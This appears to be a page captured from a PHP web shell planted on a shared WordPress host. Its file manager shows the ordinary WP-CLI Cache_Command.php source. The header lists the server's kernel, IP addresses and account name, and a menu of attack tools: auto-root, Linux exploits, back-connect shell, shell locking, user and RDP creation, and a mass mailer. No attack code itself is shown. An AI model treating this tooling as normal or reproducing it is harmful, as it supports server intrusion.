Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
wp-cli /
cache-command /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Cache_Command.php
13.5
KB
-rw-r--r--
Transient_Command.php
21.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Cache_Command.php
<?php use WP_CLI\Traverser\RecursiveDataStructureTraverser; use WP_CLI\Utils; /** * Adds, removes, fetches, and flushes the WP Object Cache object. * * By default, the WP Object Cache exists in PHP memory for the length of the * request (and is emptied at the end). Use a persistent object cache drop-in * to persist the object cache between requests. * * [Read the codex article](https://codex.wordpress.org/Class_Reference/WP_Object_Cache) * for more detail. * * ## EXAMPLES * * # Set cache. * $ wp cache set my_key my_value my_group 300 * Success: Set object 'my_key' in group 'my_group'. * * # Get cache. * $ wp cache get my_key my_group * my_value * * @package wp-cli */ class Cache_Command extends WP_CLI_Command { /** * Adds a value to the object cache. * * Errors if a value already exists for the key, which means the value can't * be added. * * ## OPTIONS * * <key> * : Cache key. * * <value> * : Value to add to the key. * * [<group>] * : Method for grouping data within the cache which allows the same key to be used across groups. * --- * default: default * --- * * [<expiration>] * : Define how long to keep the value, in seconds. `0` means as long as possible. * --- * default: 0 * --- * * ## EXAMPLES * * # Add cache. * $ wp cache add my_key my_group my_value 300 * Success: Added object 'my_key' in group 'my_value'. */ public function add( $args, $assoc_args ) { list( $key, $value, $group, $expiration ) = $args; if ( ! wp_cache_add( $key, $value, $group, $expiration ) ) { WP_CLI::error( "Could not add object '$key' in group '$group'. Does it already exist?" ); } WP_CLI::success( "Added object '$key' in group '$group'." ); } /** * Decrements a value in the object cache. * * Errors if the value can't be decremented. * * ## OPTIONS * * <key> * : Cache key. * * [<offset>] * : The amount by which to decrement the item's value. * --- * default: 1 * --- * * [<group>] * : Method for grouping data within the cache which allows the same key to be used across groups. * --- * default: default * --- * * ## EXAMPLES * * # Decrease cache value. * $ wp cache decr my_key 2 my_group * 48 */ public function decr( $args, $assoc_args ) { list( $key, $offset, $group ) = $args; $value = wp_cache_decr( $key, $offset, $group ); if ( false === $value ) { WP_CLI::error( 'The value was not decremented.' ); } WP_CLI::print_value( $value, $assoc_args ); } /** * Removes a value from the object cache. * * Errors if the value can't be deleted. * * ## OPTIONS * * <key> * : Cache key. * * [<group>] * : Method for grouping data within the cache which allows the same key to be used across groups. * --- * default: default * --- * * ## EXAMPLES * * # Delete cache. * $ wp cache delete my_key my_group * Success: Object deleted. */ public function delete( $args, $assoc_args ) { list( $key, $group ) = $args; $result = wp_cache_delete( $key, $group ); if ( false === $result ) { WP_CLI::error( 'The object was not deleted.' ); } WP_CLI::success( 'Object deleted.' ); } /** * Flushes the object cache. * * For WordPress multisite instances using a persistent object cache, * flushing the object cache will typically flush the cache for all sites. * Beware of the performance impact when flushing the object cache in * production. * * Errors if the object cache can't be flushed. * * ## EXAMPLES * * # Flush cache. * $ wp cache flush * Success: The cache was flushed. */ public function flush( $args, $assoc_args ) { if ( WP_CLI::has_config( 'url' ) && ! empty( WP_CLI::get_config()['url'] ) && is_multisite() ) { WP_CLI::warning( 'Flushing the cache may affect all sites in a multisite installation, depending on the implementation of the object cache.' ); } $value = wp_cache_flush(); if ( false === $value ) { WP_CLI::error( 'The object cache could not be flushed.' ); } WP_CLI::success( 'The cache was flushed.' ); } /** * Gets a value from the object cache. * * Errors if the value doesn't exist. * * ## OPTIONS * * <key> * : Cache key. * * [<group>] * : Method for grouping data within the cache which allows the same key to be used across groups. * --- * default: default * --- * * ## EXAMPLES * * # Get cache. * $ wp cache get my_key my_group * my_value */ public function get( $args, $assoc_args ) { list( $key, $group ) = $args; $value = wp_cache_get( $key, $group ); if ( false === $value ) { WP_CLI::error( "Object with key '$key' and group '$group' not found." ); } WP_CLI::print_value( $value, $assoc_args ); } /** * Increments a value in the object cache. * * Errors if the value can't be incremented. * * ## OPTIONS * * <key> * : Cache key. * * [<offset>] * : The amount by which to increment the item's value. * --- * default: 1 * --- * * [<group>] * : Method for grouping data within the cache which allows the same key to be used across groups. * --- * default: default * --- * * ## EXAMPLES * * # Increase cache value. * $ wp cache incr my_key 2 my_group * 50 */ public function incr( $args, $assoc_args ) { list( $key, $offset, $group ) = $args; $value = wp_cache_incr( $key, $offset, $group ); if ( false === $value ) { WP_CLI::error( 'The value was not incremented.' ); } WP_CLI::print_value( $value, $assoc_args ); } /** * Replaces a value in the object cache, if the value already exists. * * Errors if the value can't be replaced. * * ## OPTIONS * * <key> * : Cache key. * * <value> * : Value to replace. * * [<group>] * : Method for grouping data within the cache which allows the same key to be used across groups. * --- * default: default * --- * * [<expiration>] * : Define how long to keep the value, in seconds. `0` means as long as possible. * --- * default: 0 * --- * * ## EXAMPLES * * # Replace cache. * $ wp cache replace my_key new_value my_group * Success: Replaced object 'my_key' in group 'my_group'. */ public function replace( $args, $assoc_args ) { list( $key, $value, $group, $expiration ) = $args; $result = wp_cache_replace( $key, $value, $group, $expiration ); if ( false === $result ) { WP_CLI::error( "Could not replace object '$key' in group '$group'. Does it not exist?" ); } WP_CLI::success( "Replaced object '$key' in group '$group'." ); } /** * Sets a value to the object cache, regardless of whether it already exists. * * Errors if the value can't be set. * * ## OPTIONS * * <key> * : Cache key. * * <value> * : Value to set on the key. * * [<group>] * : Method for grouping data within the cache which allows the same key to be used across groups. * --- * default: default * --- * * [<expiration>] * : Define how long to keep the value, in seconds. `0` means as long as possible. * --- * default: 0 * --- * * ## EXAMPLES * * # Set cache. * $ wp cache set my_key my_value my_group 300 * Success: Set object 'my_key' in group 'my_group'. */ public function set( $args, $assoc_args ) { list( $key, $value, $group, $expiration ) = $args; $result = wp_cache_set( $key, $value, $group, $expiration ); if ( false === $result ) { WP_CLI::error( "Could not add object '$key' in group '$group'." ); } WP_CLI::success( "Set object '$key' in group '$group'." ); } /** * Attempts to determine which object cache is being used. * * Note that the guesses made by this function are based on the * WP_Object_Cache classes that define the 3rd party object cache extension. * Changes to those classes could render problems with this function's * ability to determine which object cache is being used. * * ## EXAMPLES * * # Check cache type. * $ wp cache type * Default */ public function type( $args, $assoc_args ) { $message = WP_CLI\Utils\wp_get_cache_type(); WP_CLI::line( $message ); } /** * Determines whether the object cache implementation supports a particular feature. * * ## OPTIONS * * <feature> * : Name of the feature to check for. * * ## EXAMPLES * * # Check whether is add_multiple supported. * $ wp cache supports add_multiple * $ echo $? * 0 * * # Bash script for checking whether for support like this: * if ! wp cache supports non_existing; then * echo 'non_existing is not supported' * fi */ public function supports( $args, $assoc_args ) { list ( $feature ) = $args; if ( ! function_exists( 'wp_cache_supports' ) ) { WP_CLI::error( 'Checking cache features is only available in WordPress 6.1 and higher' ); } $supports = wp_cache_supports( $feature ); if ( $supports ) { WP_CLI::halt( 0 ); } WP_CLI::halt( 1 ); } /** * Removes all cache items in a group, if the object cache implementation supports it. * * ## OPTIONS * * <group> * : Cache group key. * * ## EXAMPLES * * # Clear cache group. * $ wp cache flush-group my_group * Success: Cache group 'my_group' was flushed. * * @subcommand flush-group */ public function flush_group( $args, $assoc_args ) { list( $group ) = $args; if ( ! function_exists( 'wp_cache_supports' ) || ! wp_cache_supports( 'flush_group' ) ) { WP_CLI::error( 'Group flushing is not supported.' ); } if ( ! wp_cache_flush_group( $group ) ) { WP_CLI::error( "Cache group '$group' was not flushed." ); } WP_CLI::success( "Cache group '$group' was flushed." ); } /** * Get a nested value from the cache. * * ## OPTIONS * * <key> * : Cache key. * * <key-path>... * : The name(s) of the keys within the value to locate the value to pluck. * * [--group=<group>] * : Method for grouping data within the cache which allows the same key to be used across groups. * --- * default: default * --- * * [--format=<format>] * : The output format of the value. * --- * default: plaintext * options: * - plaintext * - json * - yaml * --- */ public function pluck( $args, $assoc_args ) { list( $key ) = $args; $group = Utils\get_flag_value( $assoc_args, 'group' ); $value = wp_cache_get( $key, $group ); if ( false === $value ) { WP_CLI::warning( "No object found for the key '$key' in group '$group'" ); exit; } $key_path = array_map( function ( $key ) { if ( is_numeric( $key ) && ( (string) intval( $key ) === $key ) ) { return (int) $key; } return $key; }, array_slice( $args, 1 ) ); $traverser = new RecursiveDataStructureTraverser( $value ); try { $value = $traverser->get( $key_path ); } catch ( \Exception $e ) { die( 1 ); } WP_CLI::print_value( $value, $assoc_args ); } /** * Update a nested value from the cache. * * ## OPTIONS * * <action> * : Patch action to perform. * --- * options: * - insert * - update * - delete * --- * * <key> * : Cache key. * * <key-path>... * : The name(s) of the keys within the value to locate the value to patch. * * [<value>] * : The new value. If omitted, the value is read from STDIN. * * [--group=<group>] * : Method for grouping data within the cache which allows the same key to be used across groups. * --- * default: default * --- * * [--expiration=<expiration>] * : Define how long to keep the value, in seconds. `0` means as long as possible. * --- * default: 0 * --- * * [--format=<format>] * : The serialization format for the value. * --- * default: plaintext * options: * - plaintext * - json * --- */ public function patch( $args, $assoc_args ) { list( $action, $key ) = $args; $group = Utils\get_flag_value( $assoc_args, 'group' ); $expiration = Utils\get_flag_value( $assoc_args, 'expiration' ); $key_path = array_map( function ( $key ) { if ( is_numeric( $key ) && ( (string) intval( $key ) === $key ) ) { return (int) $key; } return $key; }, array_slice( $args, 2 ) ); if ( 'delete' === $action ) { $patch_value = null; } else { $stdin_value = Utils\has_stdin() ? trim( WP_CLI::get_value_from_arg_or_stdin( $args, -1 ) ) : null; if ( ! empty( $stdin_value ) ) { $patch_value = WP_CLI::read_value( $stdin_value, $assoc_args ); } elseif ( count( $key_path ) > 1 ) { $patch_value = WP_CLI::read_value( array_pop( $key_path ), $assoc_args ); } else { $patch_value = null; } if ( null === $patch_value ) { WP_CLI::error( 'Please provide value to update.' ); } } /* Need to make a copy of $current_value here as it is modified by reference */ $old_value = wp_cache_get( $key, $group ); $current_value = $old_value; if ( is_object( $old_value ) ) { $current_value = clone $old_value; } $traverser = new RecursiveDataStructureTraverser( $current_value ); try { $traverser->$action( $key_path, $patch_value ); } catch ( \Exception $e ) { WP_CLI::error( $e->getMessage() ); } $patched_value = $traverser->value(); if ( $patched_value === $old_value ) { WP_CLI::success( "Value passed for cache key '$key' is unchanged." ); } else { $success = wp_cache_set( $key, $patched_value, $group, $expiration ); if ( $success ) { WP_CLI::success( "Updated cache key '$key'." ); } else { WP_CLI::error( "Could not update cache key '$key'." ); } } } }
Close